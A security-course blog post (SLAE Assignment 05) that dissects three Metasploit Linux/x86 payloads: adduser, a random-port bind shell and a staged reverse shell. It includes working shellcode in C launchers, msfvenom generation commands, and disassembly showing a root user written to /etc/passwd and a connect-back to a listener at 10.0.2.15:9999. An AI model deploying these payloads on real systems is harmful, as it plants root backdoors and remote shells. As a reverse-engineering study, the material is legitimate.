SLAE - Assignment 05 - Analyzing Metasploit Payloads

S.D. · December 31, 2018

Exercise description: Analyzing at least three shellcode samples generated using Metasploit for Linux/x86. Making use of GDB/Ndisasm/Libemu to dissect the functionality of the shellcodes analyzed.

Code: The code used within this article can be found here

To complete this task the following system was used:

Linux 3.11.0-15-generic #25~precise1-Ubuntu SMP i686 i386 GNU/Linux

The three selected payloads for this exercise are the following:

  1. linux/x86/adduser
  2. linux/x86/shell_bind_tcp_random_port
  3. linux/x86/shell/reverse_nonx_tcp

linux/x86/adduser

The description of this payload states that it will create a new user with UID 0.

The basic options available for this payload are as follows:

Options for payload/linux/x86/adduser:
=========================


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

Basic options for linux/x86/adduser

The following command will generate the shellcode on C format: msfvenom -p linux/x86/adduser USER=SLAE1376 PASS=slaetube -f c

Shellcode generated for linux/x86/adduser

This can be inserted in a shellcode launcher to debug the execution properly.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x26\x00\x00\x00\x53\x4c"
"\x41\x45\x31\x33\x37\x36\x3a\x41\x7a\x6c\x5a\x42\x31\x30\x4d"
"\x37\x39\x71\x44\x6f\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62"
"\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80"
"\x6a\x01\x58\xcd\x80";

main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

shellcode.c

To compile the shellcode it is necessary to use the following bash script.

#!/bin/bash

echo '[+] Compiling without stack protector and execstack ... '
gcc -fno-stack-protector -z execstack $1.c -o $1
echo '[+] Done!'

compile_shellcode.sh

Debugging linux/x86/adduser

To disassemble the desired part of shellcode.c, launching the GDB debugger using sudo command and issuing break *&code. Then it is possible to run the file and get the disassembled code.

As a basis, the following hook-stop will be defined:

define hook-stop
print /x $eax
print /x $ebx
print /x $ecx
print /x $edx
x/4w $esp
disassemble $eip,+20
end

Hook-stop defined for debugging linux/x86/adduser

The code will start by trying to set the current process as member of the root group (0). The syscall for SETGID is 0x2E or 46 on decimal.

man setgid

=> 0x0804a040 <+0>:	xor    ecx,ecx
   0x0804a042 <+2>:	mov    ebx,ecx
   0x0804a044 <+4>:	push   0x46
   0x0804a046 <+6>:	pop    eax
   0x0804a047 <+7>:	int    0x80

Debugging SETGID syscall with GID set to 0 (root)

If everything goes well, the EAX register will be set to 0 after the syscall.

SETGID syscall executed correctly

Then the application opens /etc/passwd on r+x mode.

   0x0804a049 <+9>:	push   0x5
   0x0804a04b <+11>:	pop    eax
   0x0804a04c <+12>:	xor    ecx,ecx
   0x0804a04e <+14>:	push   ecx
   0x0804a04f <+15>:	push   0x64777373 ;"dwss"+
   0x0804a054 <+20>:	push   0x61702f2f ;"ap//"+
   0x0804a059 <+25>:	push   0x6374652f ;"cte/"
   ;/etc/passw is pushed to ESP
   0x0804a05e <+30>:	mov    ebx,esp
   0x0804a060 <+32>:	inc    ecx
   0x0804a061 <+33>:	mov    ch,0x4
   0x0804a063 <+35>:	int    0x80

Debugging open function for /etc/passwd file

EBX stores a pointer to the file to open, which is /etc/passwd

If the syscall succeed, the EAX register will store the file descriptor associated to the file opened by this syscall.

File descriptor obtained after successful open syscall

After that, a call to a memory address is performed (0x804a091).

   0x0804a065 <+37>:	xchg   ebx,eax
   0x0804a066 <+38>:	call   0x804a091 <code+81>
   0x0804a06b <+43>:	push   ebx

Debugging call to write function on 0x804a091

On this memory address the program will write a line on /etc/passwd that will contain the username and password (encrypted) that was provided.

   0x0804a091 <code+81>:	pop    ecx
   0x0804a092 <code+82>:	mov    edx,DWORD PTR [ecx-0x4]
   0x0804a095 <code+85>:	push   0x4
   0x0804a097 <code+87>:	pop    eax
   0x0804a098 <code+88>:	int    0x80
   0x0804a09a <code+90>:	push   0x1
   0x0804a09c <code+92>:	pop    eax
   0x0804a09d <code+93>:	int    0x80

Debugging write function to add the root user to /etc/passwd

Initial situation

Final situation before writing on /etc/passwd

After the write syscall (0x4) is performed, the /etc/passwd file will contain the user specified on the payload.

Comparision of file content before and after the payload execution

Then the shellcode will invoke the exit syscall to finish its execution.

=> 0x0804a09a <code+90>:	push   0x1
   0x0804a09c <code+92>:	pop    eax
   0x0804a09d <code+93>:	int    0x80

Debugging exit syscall to finish the execution of the shellcode

Application exits

linux/x86/shell_bind_tcp_random_port

The description of this payload states that it will create a shell and bind it to a random port. Then, it will be necessary to discover the port through the use of a port scanner like NMAP.

This payload does not allow any basic to be set.

Options for payload/linux/x86/shell_bind_tcp_random_port:
=========================


       Name: Linux Command Shell, Bind TCP Random Port Inline
     Module: payload/linux/x86/shell_bind_tcp_random_port
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 57
       Rank: Normal

Provided by:
    Geyslan G. Bem <geyslan@gmail.com>

Description:
  Listen for a connection in a random port and spawn a command shell. 
  Use nmap to discover the open port: 'nmap -sS target -p-'.

Basic options for linux/x86/shell_bind_tcp_random_port

The following command will generate the shellcode on C format: msfvenom -p linux/x86/shell_bind_tcp_random_port -f c -a x86 –platform Linux

Shellcode generated for linux/x86/shell_bind_tcp_random_port

This can be inserted in a shellcode launcher to debug the execution properly.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80"
"\x52\x50\x89\xe1\xb0\x66\xb3\x04\xcd\x80\xb0\x66\x43\xcd\x80"
"\x59\x93\x6a\x3f\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

shellcode.c

To compile the shellcode it is necessary to use the following bash script.

#!/bin/bash

echo '[+] Compiling without stack protector and execstack ... '
gcc -fno-stack-protector -z execstack $1.c -o $1
echo '[+] Done!'

compile_shellcode.sh

Furthermore, it is possible to get an schema of payload’s functionality by issuing:

msfvenom -p linux/x86/shell_bind_tcp_random_port -f raw -o shell_bind_tcp_random_port.bin
sudo /opt/libemu/bin/sctest -Ss 10000 -vvv -G shellcode_shell_bind_tcp_random_port.dot < shell_bind_tcp_random_port.bin
dot shellcode_shell_bind_tcp_random_port.dot  -T png > shellcode_shell_bind_tcp_random_port.png

Commands to generate a graphical schema of the payload

This will create a graphical schema of the payload.

Graphical view for payload linux/x86/shell_bind_tcp_random_port

Debugging linux/x86/shell_bind_tcp_random_port

To disassemble the desired part of shellcode.c, launching the GDB debugger using sudo command and issuing break *&code. Then it is possible to run the file and get the disassembled code.

As a basis, the following hook-stop will be defined:

define hook-stop
print /x $eax
print /x $ebx
print /x $ecx
print /x $edx
x/4w $esp
disassemble $eip,+20
end

Hook-stop defined for debugging linux/x86/shell_bind_tcp_random_port

First, the payload will create a socket for IP protocol.

   0x0804a040 <+0>:	xor    ebx,ebx
   0x0804a042 <+2>:	mul    ebx
   0x0804a044 <+4>:	mov    al,0x66     ;syscall socketcall
   0x0804a046 <+6>:	inc    ebx
   0x0804a047 <+7>:	push   edx         ;protocol = 0
   0x0804a048 <+8>:	push   ebx         ;type = SOCK_STREAM
   0x0804a049 <+9>:	push   0x2         ;domain = AF_INET
   0x0804a04b <+11>:	mov    ecx,esp     ;loads arguments
   0x0804a04d <+13>:	int    0x80        ;creates the socket

Debugging socket creation

After successful execution of this part, the EAX register will store the file descriptor id for the socket created.

File descriptor retrieved after socketcall

Then the payload will start listening for incoming connections. As no bind() operation was performed, the port on which the program will be listening on will be random.

   0x0804a04f <code+15>:	push   edx     ;sets backlog as 0
   0x0804a050 <code+16>:	push   eax     ;loads the file descriptor
   0x0804a051 <code+17>:	mov    ecx,esp ;loads the arguments defined for listen() action
   0x0804a053 <code+19>:	mov    al,0x66
   0x0804a055 <code+21>:	mov    bl,0x4  ;action to be taken by the socket is listen()
   0x0804a057 <code+23>:	int    0x80

Debugging listening function

While debugging, is a good idea to take a snapshot of current listening ports on the server, as it will help to identify the port number created by the payload.

Ports on LISTEN state before payload execution

After execution of this part of the code, there will be a new random port on LISTEN state associated to the shellcode process.

Ports on LISTEN state after payload execution

Then the shellcode will accept an incoming connection.

   0x0804a059 <code+25>:	mov    al,0x66
   0x0804a05b <code+27>:	inc    ebx      ;increments ebx to set the action of the socket to accept()
   0x0804a05c <code+28>:	int    0x80

Debugging accept function

While debugging, the application will stop until a connection is received.

Program waiting for incoming connections

After an incoming connection is accepted, the program will continue its execution.

Attacker connecting to the bind shell

Shellcode execution continues

Next step is redirection of STDIN, STDOUT and STDERR to a newly created socket. This is possible by using the dup2() function, which was already discussed on SLAE - Assignment 01 - Shellcode for a Bind TCP Shell

   0x0804a05e <code+30>:	pop    ecx
   0x0804a05f <code+31>:	xchg   ebx,eax
   0x0804a060 <code+32>:	push   0x3f
   0x0804a062 <code+34>:	pop    eax
   0x0804a063 <code+35>:	int    0x80
   0x0804a065 <code+37>:	dec    ecx
   0x0804a066 <code+38>:	jns    0x804a060 <code+32>

Debugging I/O redirection

Finally, the shellcode will load a shell by using the execve() function.

   0x0804a068 <code+40>:	mov    al,0xb     ;configures eax for syscall - execve
   0x0804a06a <code+42>:	push   0x68732f2f ;loads 'hs//'
   0x0804a06f <code+47>:	push   0x6e69622f ;loads 'nib/'
   0x0804a074 <code+52>:	mov    ebx,esp    ;saves the pointer to '/bin//sh'
   0x0804a076 <code+54>:	inc    ecx        ;sets ecx as null, because before its value was 0xffffffff
   0x0804a077 <code+55>:	int    0x80       ;executes the syscall execve()

Debugging shell execution

It is important to note that, usually is necessary to push a NULL terminator before loading the program to be executed. However on this shellcode ESP will already contain a NULL terminator before the program name is loaded, so there is no need to load again a NULL character.

NULL on ESP before pushing any data on ESP for execve function

Registers values after calling execve

Now, if the attacker issues any command, a shell will execute the instructions.

Attacker interacting with the bind shell

linux/x86/shell/reverse_nonx_tcp

The description of this payload states that it will create a reverse shell using an staged execution.

The basic options available for this payload are as follows:

Options for payload/linux/x86/shell/reverse_nonx_tcp:
=========================


       Name: Linux Command Shell, Reverse TCP Stager
     Module: payload/linux/x86/shell/reverse_nonx_tcp
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 50
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Description:
  Spawn a command shell (staged). Connect back to the attacker

Basic options for linux/x86/shell/reverse_nonx_tcp

The following command will generate the shellcode on C format: msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=10.0.2.15 LPORT=9999 –platform Linux -a x86 -f c -b ‘\x00’. For this shellcode to work correctly it is necessary to use an encoder to avoid NULL bytes on the payload.

Shellcode generated using x86/shikata_ga_nai encoder

This can be inserted in a shellcode launcher to debug the execution properly.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xbe\x55\x64\x92\x92\xd9\xc2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x0d\x83\xe8\xfc\x31\x70\x10\x03\x70\x10\xb7\x91\xa3\x49\x64"
"\x19\x97\x07\x88\xf7\x71\x80\x05\xe6\xb3\xb0\x82\xb2\x23\xbb"
"\xac\x46\xbb\xdd\xc4\x61\xcc\x47\x47\xe7\x33\xed\x01\xaf\xe3"
"\xa3\x9a\xc6\xe5\x07\xe9\x59\xbe\x1e\x47\x55\xf1\x22\x6a\xe6"
"\x0e\xc5";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

shellcode.c

To compile the shellcode it is necessary to use the following bash script.

#!/bin/bash

echo '[+] Compiling without stack protector and execstack ... '
gcc -fno-stack-protector -z execstack $1.c -o $1
echo '[+] Done!'

compile_shellcode.sh

Furthermore, it is possible to get an schema of payload’s functionality by issuing:

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=10.0.2.15 LPORT=9999 -b '\x00' --platform Linux -a x86 -f raw -o reverse_nonx_tcp.bin
sudo /opt/libemu/bin/sctest -Ss 10000 -vvv -G reverse_nonx_tcp.dot < reverse_nonx_tcp.bin
dot reverse_nonx_tcp.dot  -T png > reverse_nonx_tcp.png

Commands to generate a graphical schema of the payload

This will create a graphical schema of the payload.

Graphical view for payload linux/x86/shell/reverse_nonx_tcp

Debugging linux/x86/shell/reverse_nonx_tcp

Stage 1

To disassemble the desired part of shellcode.c for stage 1, launching the GDB debugger using sudo command and issuing break *&code. Then it is possible to run the file and get the disassembled code.

As a basis, the following hook-stop could be defined:

define hook-stop
print /x $eax
print /x $ebx
print /x $ecx
print /x $edx
print /x $esi
x/4w $esp
disassemble $eip,+20
end

Hook-stop defined for debugging linux/x86/shell/reverse_nonx_tcp


Decoding shikata_ga_nai

As the code was encoded using shikata_ga_nai encoder, the shellcode will decodify the instructions. Although on this examination the decoding process will be studied, a more detailed study can be found here.

   0x0804a040 <+0>:	mov    esi,0x92926455
   0x0804a045 <+5>:	fld    st(2)
   0x0804a047 <+7>:	fnstenv [esp-0xc]
   0x0804a04b <+11>:	pop    eax
   0x0804a04c <+12>:	sub    ecx,ecx
   0x0804a04e <+14>:	mov    cl,0xd
   0x0804a050 <+16>:	sub    eax,0xfffffffc
   0x0804a053 <+19>:	xor    DWORD PTR [eax+0x10],esi
   0x0804a056 <+22>:	add    esi,DWORD PTR [eax+0x10]
   0x0804a059 <+25>:	mov    bh,0x91
   0x0804a05b <+27>:	mov    ds:0x97196449,eax
   0x0804a060 <+32>:	pop    es
   0x0804a061 <+33>:	mov    bh,dh
   0x0804a063 <+35>:	jno    0x8049fe5 <_DYNAMIC+189>
   0x0804a065 <+37>:	add    eax,0x82b0b3e6
   0x0804a06a <+42>:	mov    dl,0x23
   0x0804a06c <+44>:	mov    ebx,0xddbb46ac
   0x0804a071 <+49>:	les    esp,FWORD PTR [ecx-0x34]
   0x0804a074 <+52>:	inc    edi
   0x0804a075 <+53>:	inc    edi
   0x0804a076 <+54>:	out    0x33,eax
   0x0804a078 <+56>:	in     eax,dx
   0x0804a079 <+57>:	add    DWORD PTR [edi-0x39655c1d],ebp
   0x0804a07f <+63>:	in     eax,0x7
   0x0804a081 <+65>:	jmp    0x4f235edf
   0x0804a086 <+70>:	push   ebp
   0x0804a087 <+71>:	icebp  
   0x0804a088 <+72>:	and    ch,BYTE PTR [edx-0x1a]
   0x0804a08b <+75>:	push   cs
   0x0804a08c <+76>:	lds    eax,FWORD PTR [eax]

shellcode at the beginning of the analysis

First block of instructions will decode all the instructions by using a key and iterate through different memory addresses.

   0x0804a040 <+0>:	mov    esi,0x92926455           ;key=0x92926455
   0x0804a045 <+5>:	fld    st(2)                    ;loads FPU 2 on stack, could be any FPU related instruction
   0x0804a047 <+7>:	fnstenv [esp-0xc]               ;writes FPU records to put EIP on top of the stack
   0x0804a04b <+11>:	pop    eax                      ;EAX = EIP
   0x0804a04c <+12>:	sub    ecx,ecx                  ;cleans ECX
   0x0804a04e <+14>:	mov    cl,0xd                   ;loop 13 times
   0x0804a050 <+16>:	sub    eax,0xfffffffc           ;adds 0x4 to EAX
   0x0804a053 <+19>:	xor    DWORD PTR [eax+0x10],esi ;xoring the key with the following addresses

Debugging decoding process

First decodification of obfuscated code using shikata_ga_nai

This way, the instruction located at 0x0804a053 changes 4 bytes starting from address 0x0804a059, which decodes the first 2 instructions encoded.

After the loop finishes its execution, the decoded shellcode can be studied.

Decoded shellcode


Now, the current exploit starts.

First, the program creates a socket for AF_INET.

=> 0x0804a05b <+27>:	xor    ebx,ebx
   0x0804a05d <+29>:	push   ebx
   0x0804a05e <+30>:	inc    ebx
   0x0804a05f <+31>:	push   ebx
   0x0804a060 <+32>:	push   0x2
   0x0804a062 <+34>:	push   0x66
   0x0804a064 <+36>:	pop    eax
   0x0804a065 <+37>:	mov    ecx,esp
   0x0804a067 <+39>:	int    0x80

Debugging socket creation

Then, the socket will connect to a listener on IP 10.0.2.15 and port 9999. It is necessary to start a metasploit listener for the payload selected.

Starting listener on port 9999

   0x0804a069 <+41>:	xchg   edi,eax
   0x0804a06a <+42>:	pop    ebx
   0x0804a06b <+43>:	push   0xf02000a ;IP 10.0.2.15
   0x0804a070 <+48>:	pushw  0xf27     ;PORT 9999
   0x0804a074 <+52>:	push   bx
   0x0804a076 <+54>:	mov    ecx,esp
   0x0804a078 <+56>:	push   0x66
   0x0804a07a <+58>:	pop    eax
   0x0804a07b <+59>:	push   eax
   0x0804a07c <+60>:	push   ecx
   0x0804a07d <+61>:	push   edi
   0x0804a07e <+62>:	mov    ecx,esp
   0x0804a080 <+64>:	inc    ebx
   0x0804a081 <+65>:	int    0x80     ;connects

Debugging connection process

By checking the listener, it is possible to verify that there is a new incoming connection.

Listener receiving a connection

Then the program will read the second stage, so it will execute a read syscall.

   0x0804a083 <code+67>:	pop    ebx    ;file descriptor
   0x0804a084 <code+68>:	cdq           ;cleans EDX
   0x0804a085 <code+69>:	mov    dh,0xc ;c00 = 3072 to read
   0x0804a087 <code+71>:	mov    al,0x3 ;sys_read
   0x0804a089 <code+73>:	int    0x80
   0x0804a08b <+75>:	jmp    ecx            ;then jumps into ECX for stage 2

Debugging read function

Stage 2

To analyse stage 2, it could be possible to use a simpler method. Just generating the shellcode from msfconsole.

Stage 2 generated

Then it is possible to get the shellcode instructions using ndisasm.

echo -ne "\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" | ndisasm -u -

Using ndisasm to obtain instructions from shellcode

Stage 2 shellcode disasembled and explained

As this shellcode has been analysed before, a simple analysis is included on the snapshot. It will redirect the input and output to the socket, and then it will execute /bin//sh to create the shell.

After execution of shellcode without disassembling it, is possible to verify that the connection is successful and the second stage is executed.

Shellcode successfully executed


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1376

Twitter, Facebook